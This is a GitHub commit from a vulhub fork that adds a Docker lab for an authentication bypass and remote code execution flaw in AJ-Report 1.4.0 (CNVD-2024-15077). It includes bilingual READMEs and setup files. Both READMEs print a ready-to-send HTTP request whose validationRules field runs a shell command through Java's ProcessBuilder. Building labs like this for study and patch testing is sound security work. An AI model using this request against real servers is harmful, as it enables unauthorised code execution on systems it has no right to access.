forked from vulhub/vulhub
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
229 additions
and
0 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
# AJ-Report Authentication Bypass and Remote Code Execution (CNVD-2024-15077) | ||
|
||
[中文版本(Chinese version)](README.zh-cn.md) | ||
|
||
AJ-Report is an open source BI platform. In the version 1.4.0 and before, there is a authentication bypass issue and the attacker is able to perform arbitrary code execution through the issue. | ||
|
||
References: | ||
|
||
- <https://xz.aliyun.com/t/14460> | ||
- <https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md> | ||
|
||
## Vulnerable environment | ||
|
||
Execute following command to start a AJ-Report server 1.4.0: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
After the server is started, you can see the login page of AJ-Report through `http://your-ip:9095`. | ||
|
||
## Exploit | ||
|
||
To exploit the issue by following request: | ||
|
||
``` | ||
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1 | ||
Host: your-ip:9095 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 | ||
Accept-Encoding: gzip, deflate, br | ||
Accept-Language: zh-CN,zh;q=0.9 | ||
Content-Type: application/json;charset=UTF-8 | ||
Connection: close | ||
Content-Length: 339 | ||
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"} | ||
``` | ||
|
||
As you can see, `id` command is executed successfully: | ||
|
||
![](1.png) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
# AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077) | ||
|
||
AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。 | ||
|
||
参考链接: | ||
|
||
- <https://xz.aliyun.com/t/14460> | ||
- <https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md> | ||
|
||
## 漏洞环境 | ||
|
||
执行如下命令启动一个AJ-Report 1.4.0服务器: | ||
|
||
``` | ||
docker compose up -d | ||
``` | ||
|
||
服务启动后,你可以在`http://your-ip:9095`查看到登录页面。 | ||
|
||
## 漏洞复现 | ||
|
||
要利用该漏洞,只需要发送如下数据包: | ||
|
||
``` | ||
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1 | ||
Host: your-ip:9095 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 | ||
Accept-Encoding: gzip, deflate, br | ||
Accept-Language: zh-CN,zh;q=0.9 | ||
Content-Type: application/json;charset=UTF-8 | ||
Connection: close | ||
Content-Length: 339 | ||
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"} | ||
``` | ||
|
||
可见,`id`命令已经执行成功: | ||
|
||
![](1.png) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
version: '2' | ||
services: | ||
web: | ||
image: vulhub/aj-report:1.4.0 | ||
depends_on: | ||
- db | ||
environment: | ||
- MYSQL_HOST=db | ||
- MYSQL_PORT=3306 | ||
- MYSQL_DB=aj_report | ||
- MYSQL_USERNAME=root | ||
- MYSQL_PASSWORD=root | ||
ports: | ||
- "9095:9095" | ||
- "5005:5005" | ||
db: | ||
image: mysql:5.7 | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=root | ||
- MYSQL_DATABASE=aj_report |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
FROM eclipse-temurin:8u412-b08-jre-jammy | ||
|
||
LABEL maintainer="phithon <root@leavesongs.com>" | ||
|
||
RUN set -ex \ | ||
&& apt-get update \ | ||
&& apt-get install -y --no-install-recommends unzip wait-for-it \ | ||
&& mkdir -p /opt/aj-report \ | ||
&& wget -O /tmp/aj-report-1.4.0.zip https://gitee.com/anji-plus/report/releases/download/V1.4.0/aj-report-1.4.0.zip \ | ||
&& unzip /tmp/aj-report-1.4.0.zip -d /opt/aj-report \ | ||
&& rm -rf /tmp/aj-report-1.4.0.zip | ||
|
||
WORKDIR /opt/aj-report/aj-report-1.4.0.RELEASE | ||
COPY bootstrap.yml /opt/aj-report/aj-report-1.4.0.RELEASE/conf/bootstrap.yml | ||
COPY docker-entrypoint.sh /docker-entrypoint.sh | ||
|
||
ENTRYPOINT [ "bash", "/docker-entrypoint.sh" ] | ||
CMD [ "java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005", "-Xbootclasspath/a:lib/*.jar", "-Dspring.config.location=conf/bootstrap.yml", "-jar", "lib/aj-report-1.4.0.RELEASE.jar" ] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,101 @@ | ||
server: | ||
port: 9095 | ||
servlet: | ||
encoding: | ||
charset: UTF-8 | ||
force: true | ||
enabled: true | ||
|
||
spring: | ||
profiles: | ||
active: dev | ||
application: | ||
name: aj-report | ||
servlet: | ||
multipart: | ||
max-file-size: 10MB #上传图片大小限制为10MB | ||
jackson: | ||
date-format: yyyy-MM-dd HH:mm:ss | ||
messages: | ||
basename: i18n/messages | ||
datasource: | ||
url: jdbc:mysql://${MYSQL_HOST}:${MYSQL_PORT}/${MYSQL_DB}?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&useSSL=false | ||
username: ${MYSQL_USERNAME} | ||
password: ${MYSQL_PASSWORD} | ||
type: com.zaxxer.hikari.HikariDataSource | ||
hikari: | ||
connection-timeout: 300000 # 连接超时时间 - 默认值:30秒。 | ||
validation-timeout: 5000 # 连接被测试活动的最长时间 - 默认值:5秒。 | ||
idle-timeout: 60000 # 连接池中允许闲置的最长时间 - 默认值:10分钟 | ||
max-lifetime: 1800000 # 一个连接生命时长(毫秒),超时而没被使用则被释放 - 默认值:30分钟 | ||
maximum-pool-size: 10 #连接池中允许的最大连接数,包括闲置和使用中的连接 - 默认值:10 | ||
minimum-idle: 5 # 连接池中允许的最小空闲连接数 - 默认值:10。 | ||
|
||
#如果要使用redis,请参考report-core目录下的README.md文件中写的进行调整 | ||
# redis: | ||
# host: 127.0.0.1 | ||
# port: 6379 | ||
# password: root | ||
# database: 1 | ||
flyway: | ||
enabled: true #是否开启flyway,默认true. | ||
baseline-on-migrate: true | ||
#数据库连接配置 | ||
url: ${spring.datasource.url} | ||
user: ${spring.datasource.username} | ||
password: ${spring.datasource.password} | ||
placeholder-replacement: false | ||
init-sqls: | ||
- CREATE DATABASE IF NOT EXISTS `aj_report` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci; | ||
gaea: | ||
subscribes: | ||
oss: #文件存储 都配置的情况下优先级minio->amazonS3->nfs | ||
enabled: true | ||
##允许上传的文件后缀 | ||
file-type-while-list: .png|.jpg|.gif|.icon|.pdf|.xlsx|.xls|.csv|.mp4|.avi|.jpeg|.aaa|.svg | ||
# 用于文件上传成功后,生成文件的下载公网完整URL,http://serverip:9095/file/download,注意填写IP必须填写后端服务所在的机器IP | ||
downloadPath: http://10.108.26.197:9095/file/download | ||
nfs: | ||
#上传对应本地全路径,注意目录不会自动创建,注意 Win是 \ 且有盘符,linux是 / 无盘符,注意目录权限问题 | ||
path: /app/disk/upload/ | ||
#若要使用minio文件存储,请启用以下配置 | ||
#minio: | ||
# url: http://127.0.0.1 | ||
# port: 9000 | ||
# access-key: minioreport | ||
# secret-key: minioreport | ||
# bucket-name: aj-report | ||
#若要使用amazonS3文件存储,请启用以下配置 | ||
#amazonS3: | ||
# url: http://127.0.0.1 | ||
# access-key: access-key | ||
# secret-key: secret-key | ||
# bucket-name: AJ-Report | ||
#若minio和amazonS3都没有,使用服务器高可用的nfs共享盘 | ||
|
||
mybatis-plus: | ||
configuration: | ||
log-impl: org.apache.ibatis.logging.stdout.StdOutImpl #开启sql打印 | ||
call-setters-on-nulls: true | ||
mapperLocations: | ||
- classpath*:/mapper/**/*.xml | ||
- classpath*:/modeler-mybatis-mappings/**/*.xml | ||
|
||
management: | ||
endpoints: | ||
web: | ||
base-path: / | ||
logging: | ||
config: classpath:logback.xml | ||
|
||
# 本应用自定义参数 | ||
customer: | ||
# 跳过token验证和权限验证的url清单 | ||
skip-authenticate-urls: /gaeaDict/all, /login, /static, /file/download/, /index.html, /favicon.ico, /reportShare/detailByCode, /v2/api-docs | ||
file: | ||
#导入导出临时文件夹 默认.代表当前目录,拼接/tmp_zip/目录 | ||
tmpPath: . | ||
user: | ||
##新增用户默认密码 | ||
default: | ||
password: 123456 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
#!/bin/bash | ||
|
||
set -ex | ||
|
||
echo "Waiting for database to start..." | ||
wait-for-it -t 0 "${MYSQL_HOST:-127.0.0.1}:${MYSQL_PORT:-3306}" -- echo "Daabase is up" | ||
|
||
exec "$@" |